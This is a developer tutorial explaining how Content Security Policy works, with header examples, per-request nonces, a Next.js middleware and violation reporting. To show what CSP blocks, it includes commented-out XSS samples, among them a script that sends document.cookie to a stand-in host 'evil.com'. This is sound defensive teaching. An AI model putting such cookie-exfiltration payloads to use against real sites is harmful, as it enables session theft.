How does Content Security Policy (CSP) work?

// Basic CSP header — controls where resources can load from
response.headers.set('Content-Security-Policy', [
  "default-src 'self'",           // Default: only allow same-origin
  "script-src 'self' https://cdn.example.com", // Scripts: self + specific CDN
  "style-src 'self' 'unsafe-inline'",          // Styles: self + inline (needed for many frameworks)
  "img-src 'self' https: data:",               // Images: self + any HTTPS + data URIs
  "font-src 'self' https://fonts.gstatic.com", // Fonts: self + Google Fonts
  "connect-src 'self' https://api.example.com", // Fetch/XHR: self + API
  "frame-src 'none'",            // Iframes: block all
  "object-src 'none'",           // Plugins (Flash, etc.): block all
].join('; '));

// What this blocks:
// ❌ <script src="https://evil.com/steal.js"> — not in script-src
// ❌ <img src="http://tracker.com/pixel.gif"> — http not allowed (only https)
// ❌ <iframe src="https://anything.com"> — frame-src is 'none'
// ❌ Inline scripts injected via XSS — 'unsafe-inline' not in script-src

// What this allows:
// ✅ <script src="/app.js"> — same origin ('self')
// ✅ <script src="https://cdn.example.com/lib.js"> — explicitly whitelisted
// ✅ <img src="https://images.example.com/photo.jpg"> — any HTTPS

import crypto from 'crypto';

// Generate a unique nonce per request
const nonce = crypto.randomBytes(16).toString('base64');

// Include nonce in CSP header
response.headers.set(
  'Content-Security-Policy',
  `script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}';`
);

// In your HTML — legitimate scripts include the nonce
// ✅ This executes — nonce matches
`<script nonce="${nonce}">console.log('Legitimate inline script');</script>`

// ❌ This is blocked — no nonce (injected by attacker via XSS)
// <script>document.location = 'https://evil.com/steal?cookie=' + document.cookie</script>

// ❌ This is blocked — wrong nonce
// <script nonce="wrong-value">alert('hacked')</script>

// Next.js example with nonce
// In middleware.ts:
import { NextResponse } from 'next/server';

export function middleware(request) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const csp = `script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline';`;

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce); // Pass to components
  return response;
}

// Report-Only — logs violations without blocking anything
response.headers.set(
  'Content-Security-Policy-Report-Only',
  "default-src 'self'; script-src 'self'; report-uri /api/csp-report;"
);

// The browser sends violation reports as JSON POST to your endpoint:
// {
//   "csp-report": {
//     "document-uri": "https://yoursite.com/page",
//     "violated-directive": "script-src 'self'",
//     "blocked-uri": "https://analytics.google.com/analytics.js",
//     "original-policy": "default-src 'self'; script-src 'self'"
//   }
// }

// Deployment strategy:
// 1. Start with Report-Only — collect violations for a week
// 2. Whitelist legitimate sources you discover in reports
// 3. Switch to enforcing Content-Security-Policy
// 4. Keep report-uri active to catch new violations

// Modern reporting (report-to directive + Reporting API)
response.headers.set('Reporting-Endpoints', 'csp-endpoint="/api/csp-reports"');
response.headers.set(
  'Content-Security-Policy',
  "default-src 'self'; report-to csp-endpoint;"
);